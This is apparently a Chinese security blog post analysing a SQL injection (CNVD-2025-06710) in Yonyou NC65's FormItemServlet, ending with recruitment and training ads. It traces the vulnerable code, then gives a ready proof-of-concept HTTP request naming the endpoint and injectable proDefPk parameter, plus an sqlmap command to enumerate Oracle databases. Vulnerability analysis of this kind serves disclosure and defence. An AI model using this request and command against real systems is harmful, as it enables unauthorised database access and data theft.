用友NC最新SQL注入 | CNVD-2025-06710漏洞分析
原文链接: https://mp.weixin.qq.com/s?__biz=MzkzMzE5OTQzMA==&mid=2247487568&idx=1&sn=62f811d92aedb814bb4509ba9bd3abb3
用友NC最新SQL注入 | CNVD-2025-06710漏洞分析
原创 chobits02 C4安全 2025-07-08 08:05
前言
漏洞影响版本:用友NC65
CNVD已知漏洞编号是重复时候给的编号,提交的稍微有些晚就重复了
不过该漏洞代码比较老,猜测现在才有人挖出来是因为代码里面有加载子类的方法,一般师傅可能觉得绕不过就放弃了,我直接照搬一下自己的漏洞分析文章:
https://forum.butian.net/article/750
漏洞分析
漏洞所在方法为FormItemServlet,利用POC如下
POST /portal/pt/servlet/getFormItem/doPost?pageId=login&clazz=nc.uap.wfm.vo.base.ProDefBaseVO&proDefPk=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 19
下面是漏洞分析,进入到FormItemServlet
接口处,方法的完整路径为
nc.uap.wfm.action.FormItemServlet
该方法的请求路径为前缀+
/servlet/getFormItem/
+对应方法名称
来到doPost方法,完整的代码如下
@Action(method = "POST")
publicvoid doPost() {
this.response.setCharacterEncoding("utf-8");
this.response.setContentType("text/html");
Writer out = null;
out = new StringWriter();
String clazz = this.request.getParameter("clazz");
String pk_prodef = this.request.getParameter("proDefPk");
Map<String, String> map = new HashMap<>();
if (!StringUtils.isEmpty(clazz)) {
SuperVO formvo = (SuperVO)LfwClassUtil.newInstance(clazz);
IWfmFlwTypeQry service = (IWfmFlwTypeQry)NCLocator.getInstance().lookup(IWfmFlwTypeQry.class);
WfmFlwTypeVO flwtypevo = service.getFlwTypeVosByProdefPk(pk_prodef);
if (flwtypevo != null) {
String serverClass = flwtypevo.getServerclass();
IWfmFormOper formOper = (IWfmFormOper)WfmClassUtil.loadClass(serverClass);
map = formOper.getFormFields(formvo, pk_prodef);
}
}
Document doc = buildXml(map);
XMLUtil.printDOMTree(out, doc, 0, "UTF-8");
print(out.toString());
}
可以看到此处post方法接收了两个参数,一个是
clazz
,传入了方法中通过反射加载
SuperVO
类或是他的子类,所以他应该传的是完整的类路径
SuperVO formvo = (SuperVO)LfwClassUtil.newInstance(clazz);
另外一个传参是
proDefPk
,在上一步类加载完成后,进入了
WfmFlwTypeQry
的
getFlwTypeVosByProdefPk
方法中
IWfmFlwTypeQry service = (IWfmFlwTypeQry)NCLocator.getInstance().lookup(IWfmFlwTypeQry.class);
WfmFlwTypeVO flwtypevo = service.getFlwTypeVosByProdefPk(pk_prodef);
追踪getFlwTypeVosByProdefPk方法,来到代码
可以看到参数被拼接到SQL语句中,造成SQL注入
String sql = " select * from wfm_flwtype where pk_flwtype in(select flwtype from wfm_prodef where pk_prodef='" + prodefPk + "')";
好了分析到这已经差不多了,只要找一个
SuperVO
的子类让他正常加载走到SQL注入那一步就行了
全局搜索
SuperVO
,这里我挑了一个子类
ProDefBaseVO
完整路径是
nc.uap.wfm.vo.base.ProDefBaseVO
,下一步构造传参,丢给SQLMAP验证即可
POST /portal/pt/servlet/getFormItem/doPost?pageId=login&clazz=nc.uap.wfm.vo.base.ProDefBaseVO&proDefPk=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 19
S
QLMAP命令如下,指定数据库为Oracle
python sqlmap.py -r 数据包 --dbms=oracle --dbs -p proDefPk
注入验证
最后总结
感兴趣的可以公众号私聊我
进团队交流群,
咨询问题,hvv简历投递,nisp和cisp考证都可以联系我
内部src培训视频,内部知识圈,可私聊领取优惠券
加入团队、加入公开群等都可联系微信:yukikhq,搜索添加即可。
END